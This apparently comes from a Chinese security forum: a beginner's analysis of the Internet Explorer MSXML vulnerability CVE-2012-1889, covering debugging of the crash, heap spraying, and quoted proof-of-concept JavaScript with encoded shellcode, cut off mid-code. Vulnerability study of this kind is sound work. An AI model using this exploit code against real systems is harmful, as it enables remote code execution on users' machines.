新手入行,道行尚浅,如有疏忽错漏之处请各位坛友指点。
帖子写的比较啰嗦,大家将就看看吧。
Microsoft XML Core Services缓冲区溢出漏洞(CVE-2012-1889)漏洞分析报告
[table][tr][td=1,1,94] 软件名称: [/td][td=1,1,227]Microsoft Internet Explorer[/td][td=1,1,94]操作系统:[/td][td=1,1,161]Windows XP/7[/td][/tr][tr][td=1,1,94] 软件版本: [/td][td=1,1,227]6.0/8.0[/td][td=1,1,94]漏洞编号:[/td][td=1,1,161]CVE-2012-1889[/td][/tr][tr][td=1,1,94] 漏洞模块: [/td][td=1,1,227]msxml3.dll[/td][td=1,1,94]危害等级:[/td][td=1,1,161]高危[/td][/tr][tr][td=1,1,94] 模块版本: [/td][td=1,1,227]8.110.7600.16385[/td][td=1,1,94]漏洞类型:[/td][td=1,1,161]缓冲区溢出[/td][/tr][tr][td=1,1,94] 编译日期: [/td][td=1,1,227]2009-7-14[/td][td=1,1,94]威胁类型:[/td][td=1,1,161]远程
一、软件简介
Microsoft XML CoreServices(MSXML)是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务。
二、漏洞成因
Microsoft XML CoreServices 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。
三、利用过程
根据网上的资料,大致可以了解到漏洞利用过程由易到难有3个层次:[table][tr][td=1,1,191] 操作系统和IE版本 [/td][td=1,1,191]数据执行保护(DEP)[/td][td=1,1,191]随机基址(ASLR)[/td][/tr][tr][td=1,1,191] XP + IE6 [/td][td=1,1,191]无[/td][td=1,1,191]无[/td][/tr][tr][td=1,1,191] XP + IE8 [/td][td=1,1,191]开启[/td][td=1,1,191]无[/td][/tr][tr][td=1,1,191] Win7 + IE8 [/td][td=1,1,191]开启[/td][td=1,1,191]开启因此我们从简单开始逐层提高利用难度。
1. XP + IE6.0环境
运行收集到的PoC_1(见附件),在Windows XP+IE6的环境下用Windbg附加调试,程序运行至崩溃,中断处如图:
可见导致崩溃的[ecx+18h]中的ecx来自eax地址上的值,eax又来自[ebp-14h]即系统栈中的一个局部变量。推测问题由mov eax,dwordptr[ebp-14h]产生。运行网上收集到的POC_2,继续用Windbg附加程序,崩溃处的代码如下:
POC_2的代码:[HTML] 纯文本查看 复制代码 CVE 2012-1889 PoC v2 By:15PB.Com
大致查看这段代码我们发现构造了一个0x1000大小值为0x0C0C0C0C的数据块,这个数据块导致缓冲区溢出,将[ebp-14]的位置覆盖成0x0C0C0C0C,此时从这个地址取数据导致访问错误。查看网上的资料结合 PoC_1 与 PoC_2 代码可知PoC 用作方法调用 definition 函数,而 MSDN中definition 作为属性使用,作为属性的成员当作了方法使用因此触发了漏洞。因为PoC_2 中提供了将 eax 变为0x0c0c0c0c 的思路,确定可以使用堆喷射技术完成攻击。
堆喷射
Heap Spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。当申请大量的内存到时候,堆很有可能覆盖到的地址是 0x0A0A0A0A(160M),0x0C0C0C0C(192M), 0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是 200M,主要是为了保证能覆盖到 0x0C0C0C0C 地址。[HTML] 纯文本查看 复制代码 CVE 2012-1889 POC Red_Magic_ver.7 <script> // 1.准备好shellcode var cShellCode = unescape("\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D"+ "\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073"+ "\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00"+ "\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572"+ "\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B"+ "\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334"+ "\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508"+ "\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD"+ "\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF"+ "\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A"+ "\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0"); // 2.制作一块数据 // 2.1计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数) var nSlideSize = 1024*1024/2; // 一个滑板指令区的大小(1MB) var nMlcHadSize = 32/2; // 堆头部大小 var nStrLenSize = 4/2; // 堆长度信息大小 var nTerminatorSize = 2/2; // 堆结尾符号大小 var nScSize = cShellCode.length; // shellcode 大小 var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize; // 2.2 填充滑板指令,制作好一块填充数据 var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C var cSlideData = new Array(); // 申请一个数组对象用于保存滑板数组 while(cFillData.length |